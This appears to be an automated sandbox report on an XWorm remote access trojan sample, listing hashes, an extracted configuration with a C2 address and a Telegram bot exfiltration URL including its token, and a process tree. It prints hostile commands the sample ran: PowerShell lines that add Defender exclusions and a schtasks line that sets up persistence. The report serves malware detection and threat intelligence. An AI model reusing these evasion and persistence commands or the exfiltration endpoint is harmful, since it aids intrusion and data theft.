xworm | 62fe5b9ab37bbb61c425200e3990bf29ea5de6796f2bfdfbb043450c8957798b

General

Target

NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe
Size

45KB
MD5

83a08efeb3b8748e96c787399bbbc5a0
SHA1

14455741a4484a39fb55fd952e8782e942c9526b
SHA256

62fe5b9ab37bbb61c425200e3990bf29ea5de6796f2bfdfbb043450c8957798b
SHA512

8044db9aa272fbec73e0d2a58cc6d3a40c6d1159281a79ec24b2e67934af1bd6d110e8f08aa59375cbe3132d0938747d5bb281896aecac93a37b3a53e641e4cb
SSDEEP

768:ogO5RiCQqFx9spM0Qp8A7tfZjG0LgLF+79cOr6MOChUbWLH+:BO5RfQk9sptQp8Ava0eFI9br6MOCyW6

Score

10^/10

xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

188.148.105.135:2112

Mutex

tcC0TAK6pKec3LNj

Attributes

Install_directory
%ProgramData%
install_file
Craxs Loader.exe
telegram
https://api.telegram.org/bot6608139717:AAGt-zMdIdgdybfcDCcjI5c40PuzKHpy3kQ/sendMessage?chat_id=6468226445

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/1696-0-0x0000000001020000-0x0000000001032000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Craxs Loader.lnk	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Craxs Loader.lnk	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1154728922-3261336865-3456416385-1000\Software\Microsoft\Windows\CurrentVersion\Run\Craxs Loader = "C:\\ProgramData\\Craxs Loader.exe"	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2020	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2832	powershell.exe
2608	powershell.exe
2660	powershell.exe
2568	powershell.exe
1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeDebugPrivilege	2660	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1696 wrote to memory of 2832	1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe	28
PID 1696 wrote to memory of 2832	1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe	28
PID 1696 wrote to memory of 2832	1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe	28
PID 1696 wrote to memory of 2608	1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe	30
PID 1696 wrote to memory of 2608	1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe	30
PID 1696 wrote to memory of 2608	1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe	30
PID 1696 wrote to memory of 2660	1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe	32
PID 1696 wrote to memory of 2660	1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe	32
PID 1696 wrote to memory of 2660	1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe	32
PID 1696 wrote to memory of 2568	1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe	35
PID 1696 wrote to memory of 2568	1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe	35
PID 1696 wrote to memory of 2568	1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe	35
PID 1696 wrote to memory of 2020	1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe	36
PID 1696 wrote to memory of 2020	1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe	36
PID 1696 wrote to memory of 2020	1696	NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe	36

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe
"C:\Users\Admin\AppData\Local\Temp\NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'NEAS.83a08efeb3b8748e96c787399bbbc5a0_JC.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Craxs Loader.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Craxs Loader.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2568
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Craxs Loader" /tr "C:\ProgramData\Craxs Loader.exe"
  2⤵
  - Creates scheduled task(s)
  PID:2020

C:\Windows\system32\taskeng.exe
taskeng.exe {A06DE170-EB80-47CD-9726-E3F1222750B6} S-1-5-21-1154728922-3261336865-3456416385-1000:TLIDUQCQ\Admin:Interactive:[1]
1⤵
PID:2920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
dd8c1ba9cbf9ab32782f84cf3b525300

SHA1
f52d542258ea15174faf6dfff6591911af847164

SHA256
0cca36d6fab445c1b43d411b88dc097429422ba2d290022adb8305455f807cb8

SHA512
c2daee6cca62533d44906987e287edb346feafe5cc8af3d96a200ddbd3735cceabc3829ddcba27cdea61be0d83473df96dd3b805ae4d651ad26d42f9dce8f44c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
dd8c1ba9cbf9ab32782f84cf3b525300

SHA1
f52d542258ea15174faf6dfff6591911af847164

SHA256
0cca36d6fab445c1b43d411b88dc097429422ba2d290022adb8305455f807cb8

SHA512
c2daee6cca62533d44906987e287edb346feafe5cc8af3d96a200ddbd3735cceabc3829ddcba27cdea61be0d83473df96dd3b805ae4d651ad26d42f9dce8f44c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
dd8c1ba9cbf9ab32782f84cf3b525300

SHA1
f52d542258ea15174faf6dfff6591911af847164

SHA256
0cca36d6fab445c1b43d411b88dc097429422ba2d290022adb8305455f807cb8

SHA512
c2daee6cca62533d44906987e287edb346feafe5cc8af3d96a200ddbd3735cceabc3829ddcba27cdea61be0d83473df96dd3b805ae4d651ad26d42f9dce8f44c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\X4VKO4Q9Y3LRJ8V9CO0J.temp

Filesize
7KB

MD5
dd8c1ba9cbf9ab32782f84cf3b525300

SHA1
f52d542258ea15174faf6dfff6591911af847164

SHA256
0cca36d6fab445c1b43d411b88dc097429422ba2d290022adb8305455f807cb8

SHA512
c2daee6cca62533d44906987e287edb346feafe5cc8af3d96a200ddbd3735cceabc3829ddcba27cdea61be0d83473df96dd3b805ae4d651ad26d42f9dce8f44c

Download Submit
memory/1696-1-0x000007FEF57C0000-0x000007FEF61AC000-memory.dmp

Filesize
9.9MB

Download
memory/1696-2-0x000000001B2D0000-0x000000001B350000-memory.dmp

Filesize
512KB

Download
memory/1696-56-0x000000001A990000-0x000000001A99C000-memory.dmp

Filesize
48KB

Download
memory/1696-11-0x000007FEF57C0000-0x000007FEF61AC000-memory.dmp

Filesize
9.9MB

Download
memory/1696-0-0x0000000001020000-0x0000000001032000-memory.dmp

Filesize
72KB

Download
memory/2568-48-0x0000000002C40000-0x0000000002CC0000-memory.dmp

Filesize
512KB

Download
memory/2568-46-0x0000000002C40000-0x0000000002CC0000-memory.dmp

Filesize
512KB

Download
memory/2568-45-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

Filesize
9.6MB

Download
memory/2568-44-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

Filesize
9.6MB

Download
memory/2568-47-0x0000000002C40000-0x0000000002CC0000-memory.dmp

Filesize
512KB

Download
memory/2568-49-0x0000000002C40000-0x0000000002CC0000-memory.dmp

Filesize
512KB

Download
memory/2568-50-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

Filesize
9.6MB

Download
memory/2608-25-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2608-22-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

Filesize
9.6MB

Download
memory/2608-26-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

Filesize
9.6MB

Download
memory/2608-23-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2608-19-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

Filesize
2.9MB

Download
memory/2608-24-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2608-21-0x00000000022A0000-0x00000000022A8000-memory.dmp

Filesize
32KB

Download
memory/2608-20-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

Filesize
9.6MB

Download
memory/2660-33-0x000007FEEEA50000-0x000007FEEF3ED000-memory.dmp

Filesize
9.6MB

Download
memory/2660-37-0x000007FEEEA50000-0x000007FEEF3ED000-memory.dmp

Filesize
9.6MB

Download
memory/2660-36-0x0000000002370000-0x00000000023F0000-memory.dmp

Filesize
512KB

Download
memory/2660-35-0x0000000002370000-0x00000000023F0000-memory.dmp

Filesize
512KB

Download
memory/2660-34-0x0000000002370000-0x00000000023F0000-memory.dmp

Filesize
512KB

Download
memory/2660-32-0x000007FEEEA50000-0x000007FEEF3ED000-memory.dmp

Filesize
9.6MB

Download
memory/2832-13-0x000007FEEEA50000-0x000007FEEF3ED000-memory.dmp

Filesize
9.6MB

Download
memory/2832-12-0x0000000001EF0000-0x0000000001F70000-memory.dmp

Filesize
512KB

Download
memory/2832-9-0x0000000001EF0000-0x0000000001F70000-memory.dmp

Filesize
512KB

Download
memory/2832-10-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/2832-8-0x000000001B150000-0x000000001B432000-memory.dmp

Filesize
2.9MB

Download
memory/2832-7-0x000007FEEEA50000-0x000007FEEF3ED000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads